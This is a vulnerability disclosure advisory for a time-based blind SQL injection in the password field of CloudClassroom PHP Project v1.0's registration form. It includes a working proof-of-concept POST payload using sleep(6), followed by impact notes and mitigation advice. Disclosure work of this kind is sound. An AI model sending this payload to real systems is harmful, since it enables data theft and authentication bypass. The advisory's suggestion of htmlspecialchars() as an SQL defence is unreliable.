CVE-2025-45542-SQLi-Sanjay-Singh.md

🔒 Security Advisory: Time-Based Blind SQL Injection in CloudClassroom PHP Project v1.0

CVE ID: CVE-2025-45542
Advisory Publication Date: [To be updated upon release]
Vulnerability Type: SQL Injection (Time-Based Blind)
Severity: High
Attack Vector: Remote
Status: Unpatched as of disclosure
Discoverer: Sanjay Singh

---

📘 Summary

A time-based blind SQL injection vulnerability has been discovered in the registrationform endpoint of the CloudClassroom PHP Project v1.0. The pass parameter does not validate or sanitize input correctly, allowing attackers to execute arbitrary SQL logic. This can lead to data exfiltration, authentication bypass, or even remote code execution depending on the database setup.

---

🎯 Affected Product

• Vendor: CloudClassroom PHP Project
• Version: v1.0
• Component: registrationform endpoint
• Vulnerable Parameter: pass (in HTTP POST request)

---

🧪 Proof of Concept (PoC)

HTTP Request:

POST /CloudClassroom-PHP-Project-master/registrationform HTTP/1.1
Host: localhost
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/CloudClassroom-PHP-Project-master/
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=ct1bl32iroa3t76clsj3osvjqs
Content-Length: 225 
addrs=3137%20Laguna%20Street&course=1&dob=1967/1/1&email=testing%40example.com&
faname=pHqghUme&fname=pHqghUme&gender=Female&lname=pHqghUme&
pass=u]H[ww6KrA9F.x-F0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z&
phno=94102&sub

Observation:

• Response is delayed by 6 seconds, confirming the injection point.

---

🎯 Impact

• SQL Query Injection
• User Data Exfiltration
• Authentication Bypass
• Possible Remote Code Execution

---

🛡️ Mitigation

✅ Use Prepared Statements:

$stmt = $conn->prepare("INSERT INTO users (pass) VALUES (?)");
$stmt->bind_param("s", $password);
$stmt->execute();

✅ Sanitize Inputs:

• Use htmlspecialchars() and mysqli_real_escape_string() where applicable.

✅ Deploy a WAF:

• Detect and block SQLi payloads.

✅ Limit DB Permissions:

• Follow the principle of least privilege for database users.

---

📚 References

• CVE: CVE-2025-45542 (Pending publication)
• Project: CloudClassroom PHP Project
• OWASP: SQL Injection Guide

---

🙏 Acknowledgement

Reported by: Sanjay Singh